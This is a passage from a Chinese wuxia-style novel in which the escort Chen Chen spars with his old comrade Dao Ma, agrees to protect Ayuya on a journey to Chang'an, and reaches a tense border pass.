阿育娅一把将玉牌攥在手里,攥得紧紧的,像是怕他反悔抢回去似的。她低下头,把玉牌系在腰间,系好了还用手拍了拍,这才抬起头看他。
“这东西怎么看都对你挺重要的。”她眨眨眼,嘴角弯起来,弯得有些得意,有些狡黠,“说不定以后还能拿它要挟你一下。”
陈晨看着她腰间的玉牌,又看看她那张带着点得意、带着点狡黠的脸。
他忽然起了个念头,想逗逗这丫头。
“要不你还是还给我吧,我给你银子。”
“想得美!”
阿育娅往后退了半步,手已经按在腰间那玉牌上,身子微微弓起,像一只护食的小狼。那模样又警惕又得意,眼睛瞪得圆圆的,瞪着他。
陈晨看着她那模样,这回是真想笑了。
他嘴角刚动了动,还没来得及说什么,阿育娅已经转过头去,看向旁边一个摊子。
“哇,是糖葫芦!”
她眼睛一下子亮了,快步走到摊位前,随手拽下两根。那摊主是个老头,看了她一眼,又看了陈晨一眼,没说话,只是笑了笑。
陈晨则从怀中摸出五枚铜板,放入老板手中。
阿育娅把一根糖葫芦塞进嘴里,咬下一颗,嚼了嚼,眼睛眯起来。
“唔……好吃!”
她嘴里塞得满满的,说话含糊不清。腮帮子鼓鼓的,一动一动,像只存食的仓鼠。
陈晨看着她,忽然觉得这丫头吃东西的样子有点好笑。
“要不要尝尝?”阿育娅把另一根糖葫芦递过来,在他眼前晃了晃,“上次看到卖糖葫芦的还是两年前呢,真甜,味道一点都没变。”
陈晨摆了摆手。
“不了。”他说,“不过我倒是好奇,那卖十两银子的司南,怎么你一开口他就卖三两了?”
阿育娅腮帮子鼓鼓的,一边嚼一边含糊地回道:“唔……因为这整个莫家集都是我阿塔的啊。”
她又咬下一颗,嚼了嚼,咽下去,这才继续说:
“而且那家伙的东西……不是从尸体上摸的,就是挖坟掘墓盗来的。让他卖三两都算是看得起他了。”
话还没落,对面走来一个黑衣男子。
那人走得不快,一步一步,稳稳当当。手里牵着一匹骏马,马是青骢色,毛色油亮,在日光下泛着光。马背上盘腿坐着一个三四岁的孩子,坐得稳稳当当,像是早就习惯了这颠簸。孩子手里拿着个什么东西,低头玩着,头都不抬。
马鞍旁搭着一卷兽皮,卷得严严实实,用绳子捆了几道。可那兽皮卷得再严实,也遮不住里头的东西……从那缝隙里,露出密密麻麻的刀柄。
4. 第三章:生意
那人越走越近。
阿育娅刚想上前打个招呼……她认出这人是谁了,那个来去匆匆的镖人,那个她跟陈晨提过的“另一个镖人”……却只见陈晨已经动了。
腰间长刀出鞘,雪亮的刀身映着日头,晃出一道寒光。那刀是新缠的布条,攥在手里稳稳的,刀尖直指来人。
对面那人几乎在同一瞬从兽皮卷里抽出一柄刀。
两柄刀尖隔着三步之遥,遥遥相对。
街上的人声好像忽然远了。卖吃食的摊子还在滋啦滋啦响,油锅里的热气还在往上冒;铁匠铺还在叮叮当当,炉火映得门口一片通红。可那些声音都像隔了一层东西,闷闷的,嗡嗡的,传进耳朵里已经听不真切。
阿育娅愣住,看看陈晨,又看看对面那人。
她认识这人。可她现在不知道该不该开口。
陈晨盯着对方,声音冷得像从冰窖里捞出来的。
“好久不见。没想到会在这里遇见你。”
那人脸色没变,声音也很平:“怎么,你是来取我这天字第一号逃犯的脑袋的?”
“脑袋什么的以后再说。”陈晨的手紧了紧刀柄,“见到老朋友,也不知道行礼?”
“谁家的老朋友会用刀指着对方的脑袋?”
对方的手也紧了紧。
就在这时,马背上的孩子忽然自己蒙住眼睛,开始数数。
“一……二……三……”
那孩子约莫三四岁,扎着两个小揪揪,盘腿坐在马背上,坐得稳稳当当的。他蒙着眼睛,手指缝却悄悄张开一条缝,像是在偷看,又像是在认真地数。
陈晨眼角抽了一下:“那小娃子在数什么?”
孩子没睁眼,稚嫩的童音里带着一种奇怪的认真……那种认真不属于这个年纪的孩子,像是被教了很多遍,已经刻进骨子里了。
“我在等数到九……数到九,刀马就会干掉你。”
“你”字还没落下,陈晨已经松开缰绳。
三步并作两步,瞬息之间刀已劈下。势大力沉,仿佛要把人劈成两半。
刀马双手持刀架住。“当”的一声巨响,震得旁边马匹打了个响鼻,蹄子在地上刨了刨。那声音传出去很远,街上有人扭头看过来,又赶紧扭回去,该干嘛干嘛。
“四……五……六……”孩子还在数,声音稳稳的,像没听见这边的动静。他蒙着眼睛,小身子随着马的动作轻轻晃着,像是早就习惯了这种颠簸。
陈晨第二刀又到。刀马再架,虎口发麻,胳膊震得发颤。他脚下退了半步,沙土地上踩出一个深深的脚印。
第三刀。
“咔嚓”一声,刀马的刀断成两截。半截刀身飞出去,落在沙地上,插进去一截,颤了颤。
“八……”
陈晨转身一记侧蹬,踹在刀马胸口。刀马整个人飞出去,摔在地上,滚了两圈。尘土扬起来,落了他一身。
“九……”
孩子的声音落下,正好看见刀马躺在三丈外的地上。他的手还蒙着眼睛,但指缝张得大大的,眼睛瞪得滚圆。
陈晨没有立刻收刀。他把刀举到眼前,迎着光,仔细看了一遍刀刃。阳光在刀身上流淌,他翻来覆去地看,确认没有崩口、没有卷刃,这才缓缓还刀入鞘。
他回头看了那孩子一眼。
“小娃子,你漏了个数。”
说完,他走到刀马面前,伸出了自己的手。
刀马躺在地上,揉了揉胸口,喘了两口气。他盯着那只手看了两息,然后一把抓住,借力站了起来。
他拍了拍身上的土,又弯腰捡起那半截断刀,看了看断口。
“刀不错。”
“是人不错。”陈晨收回手,“你总是想要架住对方的攻击。”
“你总是想要把对面连刀带人一起劈了。”
刀马把那半截刀往地上一扔,抬头看向陈晨。
两人对视片刻,忽然都扯了扯嘴角。
“几刀?”刀马问。
“三刀。不过我想的是一刀。”
“一刀?”刀马拍拍胸口那个鞋印,“这一脚不算?”
“那一脚是送的。”
“小七,刚才数到几了?”阿育娅不知道何时已经把那小娃子从马上抱了下来。她抱着孩子,颠了颠,那孩子也不怕生,搂着她的脖子咯咯笑。
“阿育娅姐姐,小七刚才数到九了!”孩子的声音脆生生的,带着点得意,“刀马你赢了吗?”
没等刀马回答,陈晨抢先一步说道:“刀马赢了哦。”
孩子眨眨眼,看看陈晨,又看看躺在地上的半截刀,再看看刀马胸口的鞋印。小脸上写满了困惑。
“那你怎么没死?”
陈晨看着那娃子天真的眼神,眼皮止不住地跳了两下。
“小七,去找阿妮玩吧。”阿育娅捏了捏小七的脸,笑着说,“晚上加肉哦。”
那小娃子一听“加肉”,眼睛顿时亮了起来。他从阿育娅怀里挣下来,一边喊着“加肉加肉”,一边跑向站在不远处的一个少女。那少女穿着一身劲装,看外貌好像还没有阿育娅大,她笑着张开手,一把接住冲过来的小七。
阿育娅转过头,看看陈晨,又看看刀马。她走到两人中间,左边看看,右边看看,然后背着手,慢慢往前走。
“这么说来你们两个认识?”
“认识。”刀马率先开口。
“生死之交。”陈晨随即补充道。
阿育娅脚步顿了顿,又继续往前走。
“那你们刚才那是?”她回过头,眼睛亮晶晶的,在两人脸上转来转去,“难道是中原人特有的打招呼的方式?”
那目光亮得有些刺眼。陈晨和刀马被那目光一扫,不约而同地挪开了视线。
“对的……对的。”两人同时答道。
说完他们对视一眼,又各自挪开目光。
阿育娅眼睛更亮了。她往前凑了半步,额间的银饰跟着晃了晃。
“你和刀马都是来自长安的对吧?能和我讲讲长安的故事吗?”
她顿了顿,声音里带着一种小心翼翼的期待。
“我听说长安的女子过节的时候也可通宵达旦,是真的吗?长安到底什么样?”
陈晨和刀马都是一顿。
刀马先开口。他看了一眼远处正和阿妮玩闹的小七,又看了看阿育娅,声音很平。
“丫头,”他说,“离开太久了,好多事记不清了……”
记不清了。
这四个字像什么东西砸在陈晨心口。
他垂下眼,没让脸上的表情露出来。可心里有个声音在吼:你怎么可以记不清?你有什么资格记不清?
他没说话。他只是站在那里,看着脚下的沙土,看着远处的人流,看着天边慢慢西斜的太阳。
然后他开始回想。
回想那个他也许再也回不去的地方。
“过节的时候……”他开口,声音比方才低了些,像是怕惊着什么似的,“满街都是花灯。猜灯谜的摊子前挤满了人,猜中了就有人吆喝一声,热闹得很。河边放花灯,一盏一盏漂在水上,顺着水流往下走,越走越远,最后变成一个个小亮点。”
他顿了顿。
“每个人脸上都带着笑。那天可以忘记烦恼,把什么都抛在脑后。找个小河边,开一壶酒,闻着青草的味道……和你们这儿的沙土不一样,是湿漉漉的、带着水汽的那种味道。”
“然后呢?”阿育娅眼睛一眨不眨,像是怕漏掉一个字。
“然后……”陈晨嘴角动了动,像是在笑,又像是在想什么很远很远的事,“然后就着酒,睡上整整一个下午。别提有多舒服了。”
他说完,自己都愣了一下。
多久没想过这些了?
刀马看了陈晨一眼,眼神有些复杂。他没再说话,只是加快脚步,走到阿妮身边,把小七牵在手里。
一大一小两个人,就这样慢慢走进来来往往的人流里。小七回头朝阿育娅挥了挥手,阿育娅也挥了挥手。然后那人流就把他们吞没了,再也看不见了。
阿育娅站在原地看着,看了很久。
然后她转过头,发现陈晨已经牵起了马。
“那么姑……”陈晨顿了顿,喉结滚动了一下,“阿育娅,就此别过。”
他没再看她,牵着马,朝另一个方向走去。
“老板,给我的马来最好的草料。”
陈晨站在柜台前,从怀里掏出那个小布袋。布袋不大,灰色的,边角都磨毛了。他往掌心里倒了倒,二十枚铜板滚出来,叮叮当当落了一手心。
他一枚一枚捻起,在柜台上排成一排。排得整整齐齐的,铜板上的字都朝着同一个方向。
“另外……”他顿了顿,抬眼看向掌柜,“老板你这儿有没有免费的客房?”
掌柜的抬起头,看了他一眼。从上到下看了一遍:黑色的胡服,旧的,但洗得干净;腰间一柄刀,刀柄缠着新布;背上一个乌沉的木匣,四尺来长,看着就沉。
他又低头看了看那二十枚铜板。
“最好的草料没问题。”他说,“但是免费的客房……”
话没说完,他自己先乐了。摇摇头,往后面指了指。
“马厩那边有空地方。草堆你自己铺,不收钱。”
陈晨点了点头。他把那二十枚铜板往柜台里推了推,牵起马,往后院走去。
黄昏时分。
陈晨刚在马厩的草堆里躺下,门口就响起一个熟悉的声音。
“我还以为你会住上房呢,毕竟你出手那么大方……那块玉我阿塔看了,他说最少值一两黄金嘞。”
陈晨没起身。他只是偏过头,看向门口。
阿育娅站在那里。
夕阳在她身后烧成一片橘红,把整个天空都染透了。那光从她身后照过来,把她整个人镀上一层光边,连发丝都在发光。她抱着胳膊,歪着头看他,脸上带着点“你可真行”的表情。
“和马住在一起,”她走进来,在草堆边站定,低头看着他,“难道比和我住在一起舒服?”
她说着,自己先皱了皱眉。好像也觉得这话哪儿不对,但话已经说出口了,收不回来。她就那么直直地盯着陈晨,等他回答。
陈晨没动。他靠在草堆里,慢吞吞地开口:
“现钱给它买吃的了。”
他下巴朝那匹枣红马的方向抬了抬。马正埋头吃草料,嚼得津津有味,尾巴还甩了甩,甩在木桩上,啪的一声响。
“至少在接到下一个任务之前,都要和它住在一起了。”他顿了顿,声音低下去,
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“虽然之前也一直这样。”
阿育娅愣了一下。
她看看那匹马,又看看草堆里的陈晨。马吃得正香,草料是好的,精挑细选的。陈晨躺在草堆里,身上沾着草屑,脸上没什么表情。
她忽然摇了摇头,好似有些无奈,随即在草堆里找了个松软的地方,一屁股坐下去。草堆陷下去一块,窸窸窣窣响了一阵。她往后一仰,也躺下了。
“你说的长安真的那么美吗?”
她侧过头,看着陈晨。草屑沾在她头发上、肩膀上,她也不管。夕阳从门口照进来,落在她脸上,把那双眼睛照得亮亮的。
“能带我去看看吗?”
她顿了顿,又补了一句:
“不过你这客房还蛮舒服的。”
陈晨没接话。
过了一会儿,他伸手从旁边摸出那个空钱袋。袋子瘪瘪的,空空荡荡。他甩了甩,什么声音也没有。
“没钱啊。”他说,把钱袋随手扔在一边,“没钱怎么去长安?要去长安的话,要很多钱的。”
阿育娅眨眨眼。她盯着那个被扔出去的钱袋看了一会儿,忽然坐起来。
“那我雇佣你好了。”
她说着,就开始解腰带上那块玉。那块玉,被她系在腰带上,系得紧紧的。她低着头解,解了一会儿没解开,又使了点劲。
“佣金……佣金就用这个。”
陈晨赶忙摆手:“别……那玉你留好吧。”
他顿了顿,声音缓下来:
“我可没有收定金的习惯……若是真能带你去长安,到时候也不迟。”
阿育娅的手停在腰带上。
她看着他。眼睛亮晶晶的,也不知道在想什么。夕阳照在她脸上,把她的睫毛照成金色的。
然后她忽然站起身……也不管身上沾着的枯草,簌簌落了一地……径直走到陈晨面前,蹲下来。
她伸出了一只小手指。
“那么说定了。”
她的声音很认真。那种认真,和刚才那个“拿你没办法”的表情完全不一样。她的眼睛盯着他的眼睛,亮得不像话。
“拉钩钩。说谎的人,要被大漠的太阳晒三十天不给水喝。”
陈晨看着她。
看着那只伸到面前的小手指。看着那双亮得不像话的眼睛。看着那张脸上那股“你不拉钩我就不走”的倔劲儿。
他叹了口气。
然后伸出自己的小手指,和她钩在一起。
“好。”
他的声音低低的。
“说谎的人,就渴死在这大漠之中吧。”
两根小手指钩在一起。她的手指细细的,他的手指粗粗的,上面有老茧,有刀伤。钩在一起,停了一会儿。
然后阿育娅松开手,站起身,朝他笑了笑。
转身就跑。
来也匆匆,去也匆匆。不过转眼,就不知道跑到哪里去了。
天色渐渐暗下来。
陈晨靠在草堆里,看着马厩外面。最后一抹橘红慢慢沉下去,沉到地平线下面。天变成了灰蓝色,然后越来越深,越来越暗。
四周安静下来。只有马偶尔打个响鼻,嚼两口草料。风吹过草堆,窸窸窣窣地响。
然后一个苍老的声音在门口响起。
“我还以为你会住上房呢。”
陈晨偏过头,看见一个黑影站在马厩门口。那影子在黑暗中站了一会儿,然后往里走了两步,露出老莫那张满是褶皱的脸。
“毕竟你出手那么大方。”老莫说,“你给丫头的那块玉我看了……少说也值一两黄金嘞。”
陈晨稍微坐直了一点。
“你们父女俩还真像。”他说,“莫前辈来是因为什么事情?”
老莫没答话。
他走进马厩,在草堆边站定,低头看了看。正是刚才阿育娅躺过的地方,草堆上还留着一个人形的痕迹,凹下去一块,清清楚楚的。
他看了一眼。
然后躺了下去。
刚好嵌进那个形状里。
草堆窸窸窣窣响了一阵,然后安静下来。
老莫这才开口。
“阿育娅那丫头,想去长安已经很久了。”
他望着马厩顶棚,望着顶棚外面越来越暗的天空,声音很平,像在说一件再寻常不过的事。
“可是我这老胳膊老腿的,实在是有心无力。”
他顿了顿,侧过头,看向陈晨。
“你作为镖人,能否接下这趟差事?”
他的声音还是那么平。但眼神不一样了。黑暗中看不清那眼神里有什么,但能感觉到,那眼神不一样了。
“保护我的女儿。”
话音落下,他伸手从怀里掏出什么东西,往陈晨那边一抛。
陈晨接住。
是一个口袋。沉甸甸的,压手。
他打开。
满满一袋金币,在黑暗中泛着温润的光。那光晃得他眯起眼睛,半天没动。
马厩里安静下来。只有风从外面吹进来,吹动草堆,窸窸窣窣地响。
过了许久,陈晨的声音在黑暗中响起。
“好。”
他顿了顿。
“这镖,我接了。我会一直保护她……若有违背,天理不容,十死无生!”
5. 第四章:目标
翌日清晨,天气冷得吓人。
陈晨站在集镇口,牵着那匹枣红马。天边刚泛起一点鱼肚白,沙地上还结着薄薄的霜。他借着口中呼出的白气搓了搓手,随即攥紧缰绳。手指关节泛白,不知道是冷的,还是握得太紧。
四周空荡荡的。卖吃食的摊子还没出来,铁匠铺的门板也还关着。莫家集还在沉睡,只有他一个人,一匹马,站在冷风里。
他已经等了许久。
他也不知道自己在等什么。阿育娅那丫头说来就来,说走就走,从没个准点。也许她根本起不来这么早,也许她还要跟老莫告别,也许……也许她只是随口说说,根本没当真。
他攥着缰绳的手又紧了紧。
那匹枣红马打了个响鼻,蹭了蹭他的肩膀。他抬手拍了拍它的脖子,没说话。
就在这时,远处传来一阵蹄声。
陈晨抬起头,眯着眼看向镇口的方向。
一匹矮马慢慢走来,牵马的是一个昆仑奴,肤色黝黑,身材魁梧,低着头走得极慢。马上坐着一个人,身穿白袍,头戴斗篷,把自己裹得严严实实。
那人在抖。
隔着这么远,陈晨都能看见他在抖……浑身止不住地抖,像是冷,又像是别的什么。
陈晨没动,只是看着那一人一马慢慢走近。
近了。
更近了。
他终于看清了斗篷缝隙里露出的那半张脸……
白得渗人,没有一丝血色。那种白不是常年不见日光的白,是病入膏肓的白,是血都快流干了的白。而那惨白的面皮上,还画着几道诡异的红色花纹,从嘴角蔓延到耳根,又从眼角爬进鬓角。
不知道是颜料,还是血。
陈晨垂下眼,手指在袖中轻轻动了动。
那昆仑奴牵着马走到他身边,站定。
“刀马吗?”
陈晨看了他一眼,又看了看马上那个抖个不停的人。
“认错人了。”
他不再搭话,只是余光一直锁着那个白袍人。那惨白的脸,那诡异的花纹,那止不住的颤抖……他找的就是这个人。
多日来在大漠里转悠,就是为了找这个人。
若是此时动手,把这两个家伙一起杀掉,便是神不知鬼不觉。大漠里死几个人,谁会知道?莫家集的人还在睡觉,刀马还没来,阿育娅也不知在哪儿……正是最好的时机。
他垂下眼,手指在袍子中又动了动。
还没等他再往下想,那年轻人忽然一头栽下马来。
整个人摔在沙地上,滚了又滚,四肢抽搐,像是发了什么急病。白袍散开,斗篷滑落,露出那张惨白的脸……那花纹在扭曲的面皮上更显诡异,像活了一样。
昆仑奴俯身看了一眼,猛地抬头朝陈晨喊道:
“能不能想想办法?先生快死了!”
陈晨没动。
他看着地上那个滚来滚去的人,看着那惨白的脸和诡异的花纹,看着那因痛苦而扭曲的肢体。
这是他要杀的人。
这是他等了许多天的人。
他应该趁这个机会动手,一刀下去,任务就完了。
“他死了和我有什么关系……”
他嘴上这么说着,脚下却动了。
他牵着马,一步一步走到两人跟前,低头看了半晌。
“穿得太少了。”
他从怀里摸出两根辣椒,扔给那昆仑奴。
“把这个给他吃下去。另外,多给他穿两件衣服。”
昆仑奴接过辣椒,二话不说掰成几瓣,往那年轻人嘴里塞,一边塞一边念叨:“先生,先生,你嚼一嚼,嚼一嚼就好了,会好起来的……”
那年轻人被辣椒一激,猛地呛咳起来,竟然从地上爬了起来。他脸色比刚才更白,嘴唇却红得发紫,舌头都捋不直了。
“水……水……”
他抓着昆仑奴的胳膊,声音沙哑得几乎听不清。
“知世郎……要喝水……给我水……”
昆仑奴一听,慌忙去解背后的水囊。
“你想害死他?”
陈晨一把拦住他,声音比这大漠清晨还冷。
“那水冰冰凉凉的,现在给他喝,刚才那两根辣椒就白吃了。等两炷香,再给。”
说罢,他自己又从怀里摸出一根辣椒,塞进嘴里,咬了一小口,嚼得稀烂,含了半天,才慢慢咽下去。
那辣劲儿从舌尖一路烧到胃里,烧得他眼眶都热了。
“这味道,真是过瘾。”
他咽完,抬眼看了看那个还在喘气的年轻人。那人坐在地上,大口大口地喘着,惨白的脸上终于有了点血色……虽然是被辣出来的。
“喂,病痨鬼。”
陈晨站起身,拍了拍袍子上沾的沙土。
“不想死的话,多找点东西穿在身上,比找水有用。”
那年轻人抬起头,看了他一眼。那双眼睛藏在惨白的面皮里,黑得发亮,像两口深不见底的井。
他没说话,只是看着陈晨。
陈晨也没再看他,转身牵起自己的马。
就在这时,狂风忽然卷着沙尘从远处压过来。
那沙尘铺天盖地,把半边天都染成了昏黄色。陈晨眯起眼,抬手挡住脸,却见那沙尘里慢慢走出一个人影……骑着马,走得很慢,慢得像是在散步。
走近了才看清,那人身前还坐着个小娃子。
刀马勒住马,停在陈晨身旁,低头看了看地上那个还在喘气的年轻人。那人被沙尘呛得直咳嗽,狼狈不堪。
刀马看了好一会儿,才开口:
“这是什么热身活动?”
他问,声音里听不出是调侃还是认真。
“穿这么少,还能这么活泼?”
小七坐在马背上,眨了眨眼睛,盯着那个满脸扭曲的人看了好一会儿。然后他忽然大声说道:
“刀马,这叔叔的样子好怪啊……”
他歪着头,像是在想一个合适的词。
“好像扭曲的树藤。”
陈晨没接话。他盘算着时辰,从马背上抓过一只水囊,扔到知世郎脚边。
那年轻人见了水就跟见了亲人似的,一把抓过水袋,也不管上面沾着沙子,仰起脖子就往嘴里倒。水洒了一脸,顺着下巴流进领口,连衣服都打湿了。
他喝完了,抹了把脸。
水渍擦去,脸上的花纹还在……不是油彩,也不是血。
陈晨心里有了数。
至少这东西不是画上去的。
不多时,又一阵蹄声响起。
陈晨抬起头,看见老莫牵着一匹白马缓缓走来。那白马走得不急不慢,马上坐着一个人……阿育娅。
她换了身利落的白色骑装,腰间还系着陈晨给她的那块玉。她歪着身子,一条腿晃荡着,手里攥着根草茎,正百无聊赖地嚼。
看见陈晨,她眼睛亮了亮,但没说话。
两人身后,阿妮姑娘骑着另一匹马,默默跟着。
老莫走到知世郎面前,停下脚步。他看着地上那个狼狈不堪的人,脸上没什么表情,只是慢慢行了个礼。
“知世郎先生,”他说,声音还是那么平,“这就是我经常跟你提起的……刀马。”
刀马翻身下马,走到知世郎跟前。
他围着那人转了一圈,从上到下打量了半天。那目光像是要把人看穿,从惨白的脸看到诡异的花纹,从湿透的白袍看到还在发抖的手。
过了好一会儿,他才开口:
“什么鬼样子?”
他顿了顿。
“怎么,见不得人?”
知世郎顾不上身上的狼狈,挣扎着站起来,冲刀马行了一礼。
“有劳大侠了……”
话没说完,刀马抬手打断他。
“重申一下,我只是个镖人。”
他的声音忽然变得很平,平得不像是在说话,像是在宣读什么文书。
“你呢,是我押运的活物镖。路上必须听我的,否则磕碰死伤,本人概不负责。”
他看着知世郎,一字一顿:
“能懂吗?”
知世郎没再说话,只是点了点头。
老莫这时转过头,看向刀马。
风卷着沙尘从镇口吹过来,把他的袍角掀起又落下。他就那么站着,不紧不慢地开了口。
“丫头这些年老吵着去长安。”
他说,声音还是那么平,像是在说今儿个天气不错。
“反正她婚约也退了,此行正好顺路……你带她去长长见识。”
刀马正把水囊往马背上挂,闻言手一顿。
他看了看老莫,又扭头看了看身后那个还在喘气的知世郎,眉头拧成一团。
“老莫。”
他嗓门提了起来。
“你老糊涂了吧?”
话里带着火气,毫不遮掩。
“此去九死一生,何等凶险,你还给我添这么两个大累赘?”
话音还没落地,阿育娅已经从马背上跳了下来。
“说谁累赘呢?”
她往前站了一步,下巴扬得老高。腰间的玉牌跟着晃了晃,在沙尘里闪了一下。
“要是不服,咱就比试比试……看谁先到长安。”
她顿了顿,嘴角一翘。
“再说了,我已经雇了你的老朋友陈晨。我们三人一同去长安,只是刚好跟你们三人顺路罢了。”
陈晨没动。
他看了老莫一眼。
那一眼很短,短到旁人几乎察觉不到。但老莫看见了,他那双浑浊的老眼里闪过一丝光,又很快暗下去。
陈晨翻身上马,从怀里摸出那袋金子……沉甸甸的,老莫昨夜扔给他的那一袋。
他看也没看,随手一抛。
金子在空中划过一道弧线,不偏不倚,落进阿育娅怀里。
“我向来不收定金。”
他的声音还是那么沙哑,那么慢,像是从沙地里渗出来的。
“此间事了,再结账。”
说罢,他一夹马腹,当先朝长安方向行去。枣红马迈开步子,不紧不慢,蹄声落在沙地上,闷闷的,一声接一声。
阿育娅愣了一下,低头看了看怀里的钱袋,又抬头看了看陈晨的背影。然后她翻身上马,双腿一夹,白马便追了上去,与他并排。
她歪头看了陈晨一眼,嘴角翘着,也不说话。
刀马落在后头,似乎与老莫说了许久。隔得太远,听不清说什么,只看见老莫摆了摆手,刀马点了点头。然后他带着知世郎和阿妮催马追来。
沙尘里,几道人影渐渐拉近。
陈晨没回头,但能听见身后的蹄声。
“你还有过婚约?”
他忽
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然开口,声音不咸不淡,像是在问今天吃了什么。
“你今年才多大?”
阿育娅愣了一下,旋即笑了起来。
“我今年十八了。”
她说,声音里带着笑。
“而且那家伙……我不喜欢!”
风从远处吹来,扬起她的长发,拂过脸颊,又散向身后。那发丝在日光下泛着浅浅的光,衬着那张带着笑的脸,竟有些晃眼。
陈晨看了一眼。
只看了一眼。
然后他移开目光,盯着前面的路。
“其实我还干杀人越货的勾当。”
他顿了顿,语气平平的,像在说今天吃什么。
“若有兴趣,我可以帮你杀了他。”
说完,他一夹马腹。枣红马骤然加速,从阿育娅身边超了过去。
阿育娅也不恼,策马跟上去。她的声音追着风飘过来,脆生生的,像大漠里少见的鸟鸣:
“雇你要多少钱?”
陈晨头也没回。
风把他的声音吹得有些散,但还是清清楚楚地传了过来:
“不收定金……拿人头换全款!”
一行六人,五匹马,在苍黄的天地间行得飞快。
马蹄踏过沙地,扬起细细的尘烟,很快又被风吹散。太阳渐渐升高,把影子越缩越短。远处的沙丘连绵起伏,像凝固的海浪,一层叠着一层。
不出半日,红峡关已在眼前。
那是一座土黄色的关城,矮矮地蹲在两座山丘之间,像是从地里长出来的。城墙是土夯的,年深日久,裂了许多口子,像老人脸上的皱纹。箭垛缺了半边,不知是哪年战事留下的疤,豁着牙,对着天。
城门洞开着,像一个张大的嘴,等着人往里走。
进进出出的人不多,但也不算少……赶脚的、挑担的、牵着骆驼的,三三两两,各自低头赶路。有人的地方就有生意,城门洞两侧蹲着几个小贩,卖水的,卖饼的,卖草料的,也不吆喝,就那么蹲着,等人来问。
只要出了这道关,前路便畅通无阻。往东再走一日,到龙鳞古渡换乘舟船,顺水而下,便可直入中原。
几人勒住马,翻身下来,牵着缰绳混进人群。
陈晨走在最前头,脚步不快不慢,眼睛却四下里扫着。他看那些进进出出的人,看那些蹲在路边的小贩,看那些靠在墙根晒太阳的闲汉……每一个人的脸都在他眼里过一遍,然后又移开。
阿育娅跟在他身侧,与他并排。腰间的玉牌随着步子一晃一晃,在日光下闪着温润的光。她手里还攥着那根草茎,时不时咬一口,嚼着玩。
刀马在另一边,一手牵马,一手垂在身侧,离腰间的刀柄不远。他走得很随意,眼睛却和陈晨一样,四下里扫着。
阿妮殿后,将知世郎护在中间。
那人裹着白袍,斗篷压得低低的,只露出半截苍白的下巴。他走得很慢,脚步有些虚浮,但没再发抖。偶尔有人从他身边走过,他会下意识地侧过身,把脸藏得更深。
四周的人声嘈杂,说什么的都有……中原话,边地话,还有些听不出是哪里的口音。卖吃食的摊子冒着热气,有人蹲在路边端着碗呼噜呼噜地喝,汤水顺着嘴角往下流。几个孩子追着一条野狗跑过去,笑声尖尖的,很快被人流淹没。
刀马环顾四周,眉头渐渐蹙起来。
“不知道哪透着股子蹊跷。”
他低下头,声音压得很低,只够身边两人听见。
阿育娅微微一笑,手里不知何时多了个钱袋。她掂了掂,分量不轻,里面的东西哗啦啦响。
“镖人都如此前怕狼后怕虎?”
她瞟了刀马一眼,又侧过头看向陈晨,眼里带着点得意。
“放心吧,我阿塔早有安排。”
陈晨没接话。
他把自己的钱袋掏出来,往地上倒了一倒……
空空如也。
连一个铜板都没有滚出来。
他看了一眼那个空袋子,又看了一眼阿育娅手里鼓囊囊的钱袋,无奈地摇了摇头。
但他的左手,却不动声色地探向身后那只木匣。
那只匣子跟了他许多年,乌沉沉的,上面还沾着大漠的风沙痕迹。他的指尖轻轻按在匣身一侧,摸到那个熟悉的位置……微微一按。
“咔哒。”
一声轻响,被淹没在人声里,没人听见。
暗格弹开一道细缝。他探手进去,指尖触到冰凉的金属。再抽出来时,一柄精巧的连弩已然握在掌心。
那弩不大,一尺来长,弩身乌黑,弩弦绷得紧紧的。
他一握之间,暗格已经悄无声息地合上,严丝合缝,看不出任何痕迹。
手腕一翻,那柄弩便隐入黑袍之下。
旁人什么也看不见。
他继续往前走,脚步依旧不快不慢。阿育娅在他身侧说着什么,他没听进去。他的眼睛扫过关口,扫过那些进进出出的人,扫过城墙上的箭垛,扫过城门洞里的阴影……
有几个人的影子,在阴影里一动不动。
不是赶路的,不是做买卖的,就是那么站着,看着来往的人群。
刀马说的没错。
这地方,确实透着股子蹊跷。
陈晨把左手往袍子里又拢了拢,指尖触到那冰凉的弩身。
他继续往前走,脸上什么表情都没有。
6. 第五章:花颜团
守关的将军站在城门前,身披一副赤铜战甲,甲片层层叠叠,在日头下泛着暗沉沉的光。那光不是新甲那种耀眼的亮,是戴久了的老铜,颜色发乌,像蒙了一层经年的灰。甲叶的边缘磨得圆润,肩头处有一块铜皮微微翘起,也不知是磕的还是压根没人修。
他一只手中拿着卷成几圈的马鞭,鞭梢是牛皮拧的,又细又长,软软地垂下来。他的手指轻轻敲动着鞭柄,那鞭梢便跟着一颤一颤,像一条懒洋洋的蛇在甩尾巴。
另一只手握着一柄横刀,刀拄在地上,刀柄朝上。那刀柄和刀鞘都擦得锃亮,亮得能照见人影……鞘口那一圈铜箍,反着光,晃得人眼晕。可是从头看到尾,那刀上干干净净,连一丝血迹都寻不见。
太亮了。
亮得像是每天都要拿布蘸了油细细地擦一遍,擦完还要对着日头照一照,看看有没有哪里没擦到。
亮得像是从没有真正用过。
一行六人等了许久,终于牵着马来到那守城将军面前。马蹄踏在关前的沙土地上,闷闷的,一声接一声。
那人先是对着刀马的脸看了又看,上上下下打量了好一会儿,像是要把这张脸刻进眼睛里。看完刀马,他又瞟了陈晨两眼……只是瞟,不像看刀马那样仔细,像是顺带的。
然后他迈开步子,径直穿过并排而立的三人,朝站在刀马身后的知世郎走去。
知世郎低着头,双手在身前摆弄着马背上的装具,把系好的绳子解开又系上,系上又解开。他不敢抬眼,只能盯着自己的手指,盯着那根翻来覆去摆弄的皮绳。
“这狗吐舌头的天气,”将军在他面前站定,声音从头顶落下来,“穿这么严实,不怕热出病来?”
他盯着知世郎,抬手就去掀那兜帽。
“把斗篷摘了!”
刀马脸色微微一变。他的脚步极快,一错身,已转到将军身侧,压低了声音道:
“将军且慢。这奴才是刚从关内买的,得了大风病,浑身起癣,见不得风。我们正赶着回去退货呢。您离远些,别染上。”
他说话时脸上堆着笑,声音压得恰到好处……只有将军能听清,却又像是怕惊着什么似的。
阿育娅不知何时已从马侧绕了过来。她身子一横,不偏不倚挡在将军与知世郎之间,抬腿就是一脚,踹在知世郎屁股上。
“站远点!”她喝道,声音脆生生的,“小心把病染给陈大将!”
知世郎被她踹得踉跄两步,双手下意识裹紧了斗篷,头埋得更低了,几乎要埋进胸口里。
陈晨一言不发。他牵着那匹枣红马,脚步不急不慢,悄悄退到了队伍最后,与阿妮并肩而立。他的左手隐在袍下,指尖已触到那冰凉的连弩。
阿育娅满脸堆笑,转过身对着那陈大将盈盈行了一礼。
